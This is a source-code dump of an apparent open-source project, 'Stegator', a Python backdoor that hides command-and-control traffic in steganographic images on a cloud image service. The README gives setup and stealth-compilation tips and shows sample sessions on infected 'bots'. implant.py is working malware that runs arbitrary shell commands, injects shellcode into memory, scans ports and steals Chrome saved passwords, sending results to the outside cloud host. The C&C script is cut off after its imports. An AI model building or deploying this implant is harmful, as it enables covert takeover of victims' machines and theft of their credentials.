├── .gitignore ├── LICENSE ├── README.md ├── implant.py ├── requirements.txt ├── stegator.py └── thirdparty ├── __init__.py └── color ├── __init__.py ├── ansi.py ├── ansitowin32.py ├── initialise.py ├── termcolor.py ├── win32.py └── winterm.py /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | *.pyc 3 | *.bak 4 | TODO 5 | *.sh 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 MM 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Stegator 2 | ==== 3 | A Python based backdoor that uses a Cloud Image Service (Cloudinary) as a command and control server. Use by your own risk! 4 | 5 | Using Steganography all the commands are "inserted" in ramdom images downloaded from imgur and uploaded to a Cloud service in this PoC Cloudinary. 6 | 7 | This project has been inspired by [Gcat](https://github.com/byt3bl33d3r/gcat) and [Twittor](https://github.com/PaulSec/twittor) which does the same but using a Cloud Image Service in this Proof of concept Cloudinary but can be used in any other like Instagram, Flickr or Imgur using their API services. 8 | 9 | 10 | Setup and Installation 11 | ============ 12 | Only are needed the dependencies mentioned below. 13 | 14 | Dependencies 15 | ------------ 16 | 17 | * 2.7 < Python < 3.0 18 | * python cloudinary module 19 | * Steghide [steghide](http://steghide.sourceforge.net/) 20 | 21 | 22 | Linux Debian 23 | ------ 24 | ``` 25 | # apt-get install python python-pip python-dev build-essential libsqlite3-dev 26 | # apt-get install steghide 27 | # git clone https://github.com/1modm/stegator.git && cd stegator 28 | # pip install -r requirements.lst 29 | ``` 30 | 31 | Windows 32 | ------ 33 | ``` 34 | - Install python 2.X https://www.python.org/downloads/windows/ 35 | - Download https://github.com/1modm/stegator/archive/master.zip 36 | - Install required modules 37 | - Download Steghide [steghide](http://steghide.sourceforge.net/) 38 | ``` 39 | 40 | Also you need: 41 | - A Cloudinary account (**Use a dedicated account! Do not use your personal one!**) 42 | - Search and use the next account details: (Cloud name, API Key, API Secret) 43 | 44 | This repository contains two files: 45 | - ```stegator.py``` C&C 46 | - ```implant.py``` Backdoor 47 | 48 | In both files, edit the access token part and add the ones that you previously generated: 49 | 50 | ```python 51 | cloudinary.config( 52 | cloud_name = "xxxxxxxxxxxx", 53 | api_key = "xxxxxxxxxxxx", 54 | api_secret = "xxxxxxxxxxxx" 55 | ) 56 | ``` 57 | 58 | You're probably going to want to compile ```implant.py``` into an executable using [Pyinstaller](https://github.com/pyinstaller/pyinstaller) 59 | In order to remove the console when compiling with Pyinstaller, the flags ```--noconsole --onefile``` will help. Just saying. 60 | 61 | Usage 62 | ===== 63 | 64 | In order to run the C&C: 65 | 66 | ``` 67 | $ python stegator.py 68 | ``` 69 | 70 | You'll then get into an 'interactive' shell which offers few commands that are: 71 | 72 | ``` 73 | C&C console > help 74 | 75 | 76 | cleanup - Clean Cloud Service images 77 | refresh - Refresh C&C control and ping all bots 78 | bots - List active bots 79 | commands - List executed commands 80 | retrieve - Retrieve jobid command 81 | cmd command - Execute the command on the bot 82 | shellcode shellcode - Load and execute shellcode in memory (Windows only) 83 | scanner : - Port scanner example: scanner 0:0:0:0 192.168.1.1:22,80,443 84 | chromepasswords - Retrieve Chrome Passwords from bot (Windows only) 85 | help - Print this usage 86 | exit - Exit the client 87 | 88 | 89 | C&C console > 90 | ``` 91 | 92 | - Once you've deployed the backdoor on a couple of systems, you can check available clients using the bots command: 93 | ``` 94 | C&C console > bots 95 | Bot: 04:D6:27:72:A3:E9 Windows-7-6.1.7601-SP1 96 | Bot: 68:A3:C4:F0:98:CE Linux-4.4.0-23-generic-x86_64-with-Ubuntu-16.04-xenial 97 | Bot: 04:00:72:3F:D6:98 Linux-3.16.0-4-amd64-x86_64-with-debian-8.2 98 | C&C console > 99 | 100 | ``` 101 | 102 | The output is the MAC address which is used to uniquely identifies the system but also gives you OS information the implant is running on. 103 | 104 | 105 | - Let's issue a command to an implant: 106 | ``` 107 | C&C console > cmd 04:D6:27:72:A3:E9 ipconfig 108 | [+] Downloading image from Cloud Service... 109 | [+] Uploaded image to Cloud Service 110 | [+] Steganography applied, image saved 111 | [+] Sent command ipconfig with jobid: 97ee81e0647a4f248ac47c68e8b25b88 112 | C&C console > 113 | ``` 114 | 115 | - Lets get the results! 116 | 117 | ``` 118 | C&C console > retrieve 97ee81e0647a4f248ac47c68e8b25b88 119 | 97ee81e0647a4f248ac47c68e8b25b88: 120 | Configuracin IP de Windows 121 | 122 | 123 | Adaptador de Ethernet Conexin de rea local: 124 | 125 | Sufijo DNS especfico para la conexin. . : Home 126 | Vnculo: direccin IPv6 local. . . : fe30::2c37:4432:4551:c71a%11 127 | Direccin IPv4. . . . . . . . . . . . . . : 192.168.66.25 128 | Mscara de subred . . . . . . . . . . . . : 255.255.255.0 129 | Puerta de enlace predeterminada . . . . . : 192.168.66.1 130 | 131 | Adaptador de tnel isatap.Home: 132 | 133 | Estado de los medios. . . . . . . . . . . : medios desconectados 134 | Sufijo DNS especfico para la conexin. . : Home 135 | 136 | Adaptador de tnel Conexin de rea local*: 137 | 138 | Estado de los medios. . . . . . . . . . . : medios desconectados 139 | Sufijo DNS especfico para la conexin. . : 140 | 141 | C&C console > 142 | 143 | ``` 144 | 145 | 146 | ``` 147 | C&C console > cmd 04:00:72:3F:D6:98 cat /etc/passwd 148 | [+] Downloading image from Cloud Service... 149 | [+] Uploaded image to Cloud Service 150 | [+] Steganography applied, image saved 151 | [+] Sent command cat /etc/passwd with jobid: 631f4ee7328244b8b462876e1f8dd753 152 | C&C console > 153 | ``` 154 | 155 | - Lets get the results! 156 | 157 | ``` 158 | C&C console > retrieve 631f4ee7328244b8b462876e1f8dd753 159 | 631f4ee7328244b8b462876e1f8dd753: 160 | root:x:0:0:root:/root:/bin/bash 161 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 162 | bin:x:2:2:bin:/bin:/usr/sbin/nologin 163 | sys:x:3:3:sys:/dev:/usr/sbin/nologin 164 | sync:x:4:65534:sync:/bin:/bin/sync 165 | games:x:5:60:games:/usr/games:/usr/sbin/nologin 166 | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 167 | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 168 | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 169 | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 170 | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 171 | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 172 | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 173 | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 174 | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 175 | irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 176 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 177 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 178 | systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false 179 | systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false 180 | systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false 181 | systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false 182 | Debian-exim:x:104:109::/var/spool/exim4:/bin/false 183 | messagebus:x:105:110::/var/run/dbus:/bin/false 184 | statd:x:106:65534::/var/lib/nfs:/bin/false 185 | avahi-autoipd:x:107:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false 186 | sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin 187 | mysql:x:109:116:MySQL Server,,,:/nonexistent:/bin/false 188 | postfix:x:110:117::/var/spool/postfix:/bin/false 189 | dovecot:x:111:119:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false 190 | dovenull:x:112:120:Dovecot login user,,,:/nonexistent:/bin/false 191 | haproxy:x:113:121::/var/lib/haproxy:/bin/false 192 | proftpd:x:114:65534::/run/proftpd:/bin/false 193 | ftp:x:115:65534::/srv/ftp:/bin/false 194 | 195 | ``` 196 | 197 | - Refresh results 198 | 199 | In order to retrieve new bots/command outputs but also force the client to refresh the results, use the ```refresh``` command. 200 | 201 | ``` 202 | C&C console > refresh 203 | [+] Sending command to retrieve alive bots 204 | [+] Downloading image from Cloud Service... 205 | [+] Uploaded image to Cloud Service 206 | [+] Steganography applied, image saved 207 | [+] Sleeping 10 secs to wait for bots 208 | 209 | ``` 210 | 211 | This will send a ```PING``` request and wait 10 seconds for them to answer. 212 | 213 | - Retrieve previous commands 214 | 215 | ``` 216 | C&C console > commands 217 | 631f4ee7328244b8b462876e1f8dd753: 'cat /etc/passwd' on 04:00:72:3F:D6:98 218 | 97ee81e0647a4f248ac47c68e8b25b88: 'ipconfig' on 04:D6:27:72:A3:E9 219 | C&C console > 220 | 221 | ``` 222 | 223 | TODO 224 | ===== 225 | 226 | Write some self written code to avoid external libraries (steghide) and use some code like http://blog.brian.jp/python/png/2016/07/07/file-fun-with-pyhon.html 227 | 228 | Project is entirely open source and released under MIT license. 229 | 230 | Fork the project, contribute, submit pull requests, and have fun. 231 | 232 | If you find a bug, open an issue on Github and/or ping me on [Twitter](https://twitter.com/1_mod_m/). 233 | 234 | 235 | Thanks 236 | ===== 237 | Thanks and feel free to check the [Twittor](https://github.com/PaulSec/twittor) and [Gcat](https://github.com/byt3bl33d3r/gcat) projects from [PaulWebSec](https://twitter.com/PaulWebSec) and [byt3bl33d3r](https://twitter.com/byt3bl33d3r) from which I forked the project. 238 | 239 | 240 | Cast 241 | ====== 242 | [![cast](https://asciinema.org/a/4oo26ixuqfzyknztyamw8qgdw.png)](https://asciinema.org/a/4oo26ixuqfzyknztyamw8qgdw?autoplay=1) 243 | 244 | 245 | 246 | -------------------------------------------------------------------------------- /implant.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | __license__ = """ 5 | 6 | Stegator 7 | 8 | Author: https://twitter.com/1_mod_m/ 9 | 10 | Project site: https://github.com/1modm/stegator 11 | 12 | The MIT License (MIT) 13 | 14 | Copyright (c) 2016 MM 15 | 16 | Permission is hereby granted, free of charge, to any person obtaining a copy 17 | of this software and associated documentation files (the "Software"), to deal 18 | in the Software without restriction, including without limitation the rights 19 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 20 | copies of the Software, and to permit persons to whom the Software is 21 | furnished to do so, subject to the following conditions: 22 | 23 | The above copyright notice and this permission notice shall be included in all 24 | copies or substantial portions of the Software. 25 | 26 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 27 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 28 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 29 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 30 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 31 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 32 | SOFTWARE. 33 | """ 34 | 35 | 36 | #------------------------------------------------------------------------------ 37 | # Modules 38 | #------------------------------------------------------------------------------ 39 | 40 | import os 41 | import sys 42 | import subprocess 43 | import random 44 | import tempfile 45 | import string 46 | import urllib2 47 | from uuid import getnode as get_mac 48 | import json 49 | import threading 50 | import base64 51 | import platform 52 | import shutil 53 | import time 54 | from thirdparty.color.termcolor import colored 55 | import cloudinary 56 | from cloudinary.uploader import upload 57 | from cloudinary.api import delete_resources_by_tag, resources_by_tag 58 | from PIL import Image 59 | import socket 60 | import unicodedata 61 | import sqlite3 62 | from shutil import copyfile 63 | if (any(platform.win32_ver())): 64 | import win32crypt 65 | 66 | 67 | 68 | #------------------------------------------------------------------------------ 69 | # Data 70 | #------------------------------------------------------------------------------ 71 | 72 | JOBIDS = [] 73 | MAC_ADDRESS = ':'.join(("%012X" % get_mac())[i:i + 2] for i in range(0, 12, 2)) 74 | PASSPHRASEENTRY = "P&$$W0rd" 75 | TEMPIMPLANTIMG = "implantoutput.jpg" 76 | TEMPSTEGOIMG = "stegatoroutput.jpg" 77 | DEFAULT_TAG = "cacafuti" 78 | HOSTNAME = socket.gethostname() 79 | 80 | 81 | #------------------------------------------------------------------------------ 82 | # cloudinary authentication 83 | #------------------------------------------------------------------------------ 84 | 85 | cloudinary.config( 86 | cloud_name = "xxxxxxxxxxxx", 87 | api_key = "xxxxxxxxxxxx", 88 | api_secret = "xxxxxxxxxxxx" 89 | ) 90 | 91 | 92 | #------------------------------------------------------------------------------ 93 | # Class ImageHandle 94 | #------------------------------------------------------------------------------ 95 | 96 | class ImageHandle(): 97 | 98 | def get_img(self): 99 | try: 100 | imgur = "None" 101 | download_img = True 102 | 103 | print((colored('[+] Downloading image from Cloud Service...', 'white'))) 104 | while download_img: 105 | 106 | # Remove not valid img downloaded 107 | if (os.path.isfile(imgur)): 108 | os.remove(imgur) 109 | 110 | imgur = ''.join(random.sample(string.letters+string.digits, 5)) + '.jpg' 111 | img = urllib2.urlopen("http://i.imgur.com/" + imgur).read() 112 | 113 | if len(img) != 503: # 'image not found' is 503 bytes 114 | with open(os.path.join('./', imgur), "wb") as f: 115 | f.write(img) 116 | f.close() 117 | 118 | with Image.open(imgur) as im: 119 | width, height = im.size 120 | 121 | # Enough big to insert data 122 | if (width > 400 and height > 400): 123 | download_img = False 124 | 125 | return imgur 126 | except: 127 | print((colored("[-] Get image error", "yellow"))) 128 | if (os.path.isfile(imgur)): 129 | os.remove(imgur) 130 | 131 | 132 | def save(self, data, jobid): 133 | global PASSPHRASEENTRY 134 | global DEFAULT_TAG 135 | global TEMPIMPLANTIMG 136 | global HOSTNAME 137 | 138 | steghideOutput = True 139 | srcpathimage = self.get_img() 140 | 141 | try: 142 | shutil.copy2(srcpathimage, TEMPIMPLANTIMG) 143 | os.remove(srcpathimage) 144 | 145 | tmpdir = tempfile.mkdtemp() 146 | predictable_filename = "tempfile" 147 | # Ensure the file is read/write by the creator only 148 | saved_umask = os.umask(0077) 149 | pathimplantoutput = os.path.join(tmpdir, predictable_filename) 150 | 151 | try: 152 | with open(pathimplantoutput, "w") as tmp: 153 | tmp.write(str(data)) 154 | tmp.close() 155 | 156 | process = subprocess.Popen(['steghide', 'embed', '-p', PASSPHRASEENTRY, '-q', '-f', '-ef', pathimplantoutput, '-cf', TEMPIMPLANTIMG], stderr=subprocess.STDOUT, stdout=subprocess.PIPE) 157 | out, err = process.communicate() 158 | if out: 159 | print out 160 | if ("steghide:" in out): 161 | # Error steghide 162 | steghideOutput = False 163 | if err: 164 | print err 165 | 166 | except IOError as e: 167 | print "IOError" + e 168 | else: 169 | os.remove(pathimplantoutput) 170 | finally: 171 | os.umask(saved_umask) 172 | os.rmdir(tmpdir) 173 | except: 174 | print((colored("[-] Error saving image", "yellow"))) 175 | 176 | # Upload image downloaded in cloud service 177 | if (os.path.isfile(TEMPIMPLANTIMG) and steghideOutput): 178 | try: 179 | print((colored('[+] Uploaded image to Cloud Service', 'white'))) 180 | jobidimplant = "implant_" + HOSTNAME + "_" + jobid 181 | 182 | response = upload(TEMPIMPLANTIMG, 183 | tags = DEFAULT_TAG, 184 | public_id = jobidimplant, 185 | ) 186 | 187 | except: 188 | print((colored('[-] Cloud Service error', 'yellow'))) 189 | return False 190 | finally: 191 | if (os.path.isfile(TEMPIMPLANTIMG)): 192 | os.remove(TEMPIMPLANTIMG) 193 | else: 194 | return False 195 | 196 | return steghideOutput 197 | 198 | 199 | def load(self, urlimg): 200 | global PASSPHRASEENTRY 201 | global DEFAULT_TAG 202 | global TEMPSTEGOIMG 203 | 204 | extractedmessage = "" 205 | 206 | try: 207 | img = urllib2.urlopen(urlimg).read() 208 | if len(img) != 503: # 'image not found' is 503 bytes 209 | with open(os.path.join('./', TEMPSTEGOIMG), "wb") as f: 210 | f.write(img) 211 | except: 212 | print((colored('[-] urllib2 error', 'yellow'))) 213 | 214 | if (os.path.isfile(TEMPSTEGOIMG)): 215 | tmpdir = tempfile.mkdtemp() 216 | predictable_filename = 'tempfile' 217 | # Ensure the file is read/write by the creator only 218 | saved_umask = os.umask(0077) 219 | path = os.path.join(tmpdir, predictable_filename) 220 | pathtemp = tmpdir +"\wfile" 221 | 222 | try: 223 | with open(path, "wb") as tmp: 224 | process = subprocess.Popen(['steghide', 'extract', '-p', PASSPHRASEENTRY, '-q', '-f', '-xf', path, '-sf', TEMPSTEGOIMG], stderr=subprocess.STDOUT, stdout=subprocess.PIPE) 225 | out, err = process.communicate() 226 | if out: 227 | print out 228 | if err: 229 | print err 230 | 231 | shutil.copy2(path, pathtemp) 232 | tmp.close() 233 | 234 | file = open(pathtemp, 'r') 235 | extractedmessage = file.read() 236 | file.close() 237 | 238 | except IOError as e: 239 | print 'IOError' + str(e) 240 | else: 241 | if (os.path.isfile(path)): 242 | os.remove(path) 243 | if (os.path.isfile(pathtemp)): 244 | os.remove(pathtemp) 245 | finally: 246 | os.umask(saved_umask) 247 | if (os.path.isfile(path)): 248 | os.remove(path) 249 | if (os.path.isfile(pathtemp)): 250 | os.remove(pathtemp) 251 | if (os.path.isfile(TEMPSTEGOIMG)): 252 | os.remove(TEMPSTEGOIMG) 253 | os.rmdir(tmpdir) 254 | 255 | return extractedmessage 256 | 257 | 258 | #------------------------------------------------------------------------------ 259 | # Class CommandToExecute: Parse received Command 260 | #------------------------------------------------------------------------------ 261 | 262 | class CommandToExecute: 263 | 264 | def __init__(self, message): 265 | try: 266 | data = json.loads(base64.b64decode(message)) 267 | self.data = data 268 | self.sender = data['sender'] 269 | self.receiver = data['receiver'] 270 | self.cmd = data['cmd'] 271 | self.jobid = data['jobid'] 272 | except Exception as e: 273 | print ('Error decoding message: %s' % e) 274 | 275 | def is_for_me(self): 276 | global MAC_ADDRESS 277 | try: 278 | return MAC_ADDRESS == self.receiver or self.cmd == 'PING' and 'output' not in self.data 279 | except Exception as e: 280 | print ('Error: %s' % e) 281 | 282 | def retrieve_command(self): 283 | return self.jobid, self.cmd 284 | 285 | 286 | #------------------------------------------------------------------------------ 287 | # Class CommandOutput: build Command to send 288 | #------------------------------------------------------------------------------ 289 | 290 | class CommandOutput: 291 | 292 | def __init__(self, sender, receiver, output, jobid, cmd): 293 | self.sender = sender 294 | self.receiver = receiver 295 | self.output = output 296 | self.cmd = cmd 297 | self.jobid = jobid 298 | 299 | def remove_accents(self, input_str): 300 | nkfd_form = unicodedata.normalize('NFKD', unicode(input_str, encoding='utf-8', errors='ignore')) 301 | return u"".join([c for c in nkfd_form if not unicodedata.combining(c)]) 302 | 303 | def build(self): 304 | if (any(platform.win32_ver())): 305 | stroutput = self.remove_accents(self.output) 306 | else: 307 | stroutput = self.output 308 | 309 | cmd = {'sender': self.sender, 310 | 'receiver': self.receiver, 311 | 'output': stroutput, 312 | 'cmd': self.cmd, 313 | 'jobid': self.jobid} 314 | return base64.b64encode(json.dumps(cmd)) 315 | 316 | 317 | #------------------------------------------------------------------------------ 318 | # Class ChromePasswords 319 | #------------------------------------------------------------------------------ 320 | 321 | class ChromePasswords(threading.Thread): 322 | 323 | def __init__(self, jobid, cmd): 324 | threading.Thread.__init__(self) 325 | self.jobid = jobid 326 | self.command = cmd 327 | 328 | self.daemon = False 329 | self.start() 330 | 331 | 332 | def run(self): 333 | 334 | chrome_result = os.linesep 335 | 336 | try: 337 | path = os.getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\Login Data" 338 | pathcopy = os.getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\LoginDataCopy" 339 | copyfile(path, pathcopy) 340 | connectionSQLite = sqlite3.connect(pathcopy) 341 | cursor = connectionSQLite.cursor() 342 | cursor.execute('SELECT action_url, username_value, password_value FROM logins') 343 | for raw in cursor.fetchall(): 344 | password = win32crypt.CryptUnprotectData(raw[2])[1] 345 | 346 | chrome_result = chrome_result + password + os.linesep 347 | 348 | connectionSQLite.close() 349 | except Exception, e: 350 | chrome_result = "No passwords in Chrome retrieved" 351 | 352 | 353 | # Send the results 354 | output_command = CommandOutput(MAC_ADDRESS, 'master', chrome_result, self.jobid, self.command) 355 | 356 | saveimg = ImageHandle() 357 | 358 | # Trying to save image until True 359 | saveimageOutput = False 360 | while not (saveimageOutput): 361 | saveimageOutput = saveimg.save(output_command.build(), self.jobid) 362 | 363 | 364 | 365 | #------------------------------------------------------------------------------ 366 | # Class PortScanner 367 | #------------------------------------------------------------------------------ 368 | 369 | class PortScanner(threading.Thread): 370 | 371 | def __init__(self, jobid, cmd, ip, ports): 372 | threading.Thread.__init__(self) 373 | self.jobid = jobid 374 | self.command = cmd 375 | self.ip = ip 376 | self.ports = ports 377 | 378 | self.daemon = False 379 | self.start() 380 | 381 | 382 | def run(self): 383 | scan_result = os.linesep 384 | 385 | # Ports format 21,22,23,80,443 386 | for port in self.ports.split(','): 387 | 388 | # for each port a connection using socket library 389 | try: 390 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 391 | # returns 0: port opened 392 | output = sock.connect_ex((self.ip, int(port) )) 393 | if output == 0: 394 | sock.send('Test \n') 395 | banner = sock.recv(1024) 396 | scan_result = scan_result + "[+] Port " + port + " is opened " + banner + os.linesep 397 | else: 398 | scan_result = scan_result + "[-] Port " + port + " is closed or Host is not reachable" + os.linesep 399 | 400 | sock.close() 401 | 402 | except Exception, e: 403 | pass 404 | 405 | # Send the results 406 | output_command = CommandOutput(MAC_ADDRESS, 'master', scan_result, self.jobid, self.command) 407 | 408 | saveimg = ImageHandle() 409 | 410 | # Trying to save image until True 411 | saveimageOutput = False 412 | while not (saveimageOutput): 413 | saveimageOutput = saveimg.save(output_command.build(), self.jobid) 414 | 415 | 416 | 417 | #------------------------------------------------------------------------------ 418 | # Class ExecuteShellcode 419 | #------------------------------------------------------------------------------ 420 | 421 | class ExecuteShellcode(threading.Thread): 422 | 423 | def __init__(self, jobid, shellc): 424 | threading.Thread.__init__(self) 425 | self.shellc = shellc 426 | self.jobid = jobid 427 | 428 | self.daemon = True 429 | self.start() 430 | 431 | def run(self): 432 | try: 433 | shellcode = bytearray(self.shellc) 434 | 435 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 436 | ctypes.c_int(len(shellcode)), 437 | ctypes.c_int(0x3000), 438 | ctypes.c_int(0x40)) 439 | 440 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 441 | 442 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) 443 | 444 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 445 | ctypes.c_int(0), 446 | ctypes.c_int(ptr), 447 | ctypes.c_int(0), 448 | ctypes.c_int(0), 449 | ctypes.pointer(ctypes.c_int(0))) 450 | 451 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) 452 | 453 | except Exception as e: 454 | print e 455 | pass 456 | 457 | 458 | 459 | #------------------------------------------------------------------------------ 460 | # Class ExecuteCommand 461 | #------------------------------------------------------------------------------ 462 | 463 | class ExecuteCommand(threading.Thread): 464 | 465 | def __init__(self, jobid, cmd): 466 | threading.Thread.__init__(self) 467 | self.jobid = jobid 468 | self.command = cmd 469 | 470 | self.daemon = False 471 | self.start() 472 | 473 | 474 | def run(self): 475 | output = None 476 | if (self.command == 'PING'): 477 | output = platform.platform() 478 | else: 479 | try: 480 | output = subprocess.check_output(self.command, shell=True, stdin=subprocess.PIPE, stderr=subprocess.STDOUT) 481 | except: 482 | print((colored('[-] Error executing the command' , 'yellow'))) 483 | 484 | output_command = CommandOutput(MAC_ADDRESS, 'master', output, self.jobid, self.command) 485 | 486 | saveimg = ImageHandle() 487 | 488 | # Trying to save image until True 489 | saveimageOutput = False 490 | while not (saveimageOutput): 491 | saveimageOutput = saveimg.save(output_command.build(), self.jobid) 492 | 493 | 494 | #------------------------------------------------------------------------------ 495 | # Class StdOutListener: listener to intercept messages 496 | #------------------------------------------------------------------------------ 497 | 498 | class StdOutListener(): 499 | 500 | def __init__(self): 501 | try: 502 | global JOBIDS 503 | global DEFAULT_TAG 504 | 505 | loadimg = ImageHandle() 506 | 507 | response = resources_by_tag(DEFAULT_TAG) 508 | get_response = response.get('resources', []) 509 | 510 | for key in sorted(get_response): 511 | img = urllib2.urlopen(key['url']).read() 512 | if len(img) != 503: # 'image not found' is 503 bytes 513 | 514 | public_id = key['public_id'] # JOBID 515 | 516 | if (public_id.startswith("master_")): 517 | 518 | message = loadimg.load(key['url']) 519 | cmdreceived = CommandToExecute(message) 520 | 521 | if (cmdreceived.is_for_me()): 522 | jobid, cmd = cmdreceived.retrieve_command() 523 | if (jobid not in JOBIDS): 524 | if (cmd.split(' ')[0] == 'shellcode'): 525 | sc = base64.b64decode(cmd.split(' ')[1]).decode('string-escape') 526 | print((colored("[+] shellcode jobid: %s, cmd to execute: %s" % (jobid, sc), "white"))) 527 | JOBIDS.append(jobid) 528 | ExecuteShellcode(jobid, sc) 529 | 530 | elif (cmd.split(' ')[0] == 'scanner'): 531 | sc = cmd.split(' ')[1].decode('string-escape') 532 | print((colored("[+] Port Scanner jobid: %s, %s" % (jobid, cmd), "white"))) 533 | command = sc[5:] 534 | ip,ports = sc.split(':') 535 | JOBIDS.append(jobid) 536 | PortScanner(jobid, cmd, ip, ports) 537 | 538 | elif (cmd.split(' ')[0] == 'chromepasswords'): 539 | print((colored("[+] Chrome jobid: %s, %s" % (jobid, cmd), "white"))) 540 | JOBIDS.append(jobid) 541 | ChromePasswords(jobid, cmd) 542 | 543 | else: 544 | print((colored("[+] jobid: %s, cmd to execute: %s" % (jobid, cmd), "white"))) 545 | JOBIDS.append(jobid) 546 | ExecuteCommand(jobid, cmd) 547 | 548 | 549 | except Exception as e: 550 | print((colored('[-] Error decoding' + str(e) , 'yellow'))) 551 | 552 | return None 553 | 554 | 555 | 556 | #------------------------------------------------------------------------------ 557 | # Main 558 | #------------------------------------------------------------------------------ 559 | 560 | def main(): 561 | try: 562 | while True: 563 | StdOutListener() 564 | time.sleep(5) 565 | 566 | except BaseException as e: 567 | print("Error Main", e) 568 | 569 | if __name__ == '__main__': 570 | main() 571 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | cloudinary -------------------------------------------------------------------------------- /stegator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | __license__ = """ 5 | 6 | Stegator 7 | 8 | Author: https://twitter.com/1_mod_m/ 9 | 10 | Project site: https://github.com/1modm/stegator 11 | 12 | The MIT License (MIT) 13 | 14 | Copyright (c) 2016 MM 15 | 16 | Permission is hereby granted, free of charge, to any person obtaining a copy 17 | of this software and associated documentation files (the "Software"), to deal 18 | in the Software without restriction, including without limitation the rights 19 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 20 | copies of the Software, and to permit persons to whom the Software is 21 | furnished to do so, subject to the following conditions: 22 | 23 | The above copyright notice and this permission notice shall be included in all 24 | copies or substantial portions of the Software. 25 | 26 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 27 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 28 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 29 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 30 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 31 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 32 | SOFTWARE. 33 | """ 34 | 35 | 36 | #------------------------------------------------------------------------------ 37 | # Modules 38 | #------------------------------------------------------------------------------ 39 | 40 | import base64 41 | import json 42 | import random 43 | import string 44 | import time 45 | import os 46 | import sys 47 | import subprocess 48 | import tempfile 49 | import urllib2 50 | import platform 51 | import shutil 52 | from thirdparty.color.termcolor import colored 53 | import cloudinary 54 | from cloudinary.uploader import upload 55 | from cloudinary.api import delete_resources_by_tag, resources_by_tag 56 | from PIL import Image 57 | import uuid 58 | 59 | 60 | #------------------------------------------------------------------------------ 61 | # Data 62 | #------------------------------------------------------------------------------ 63 | 64 | BOTS_ALIVE = [] 65 | COMMANDS = [] 66 | 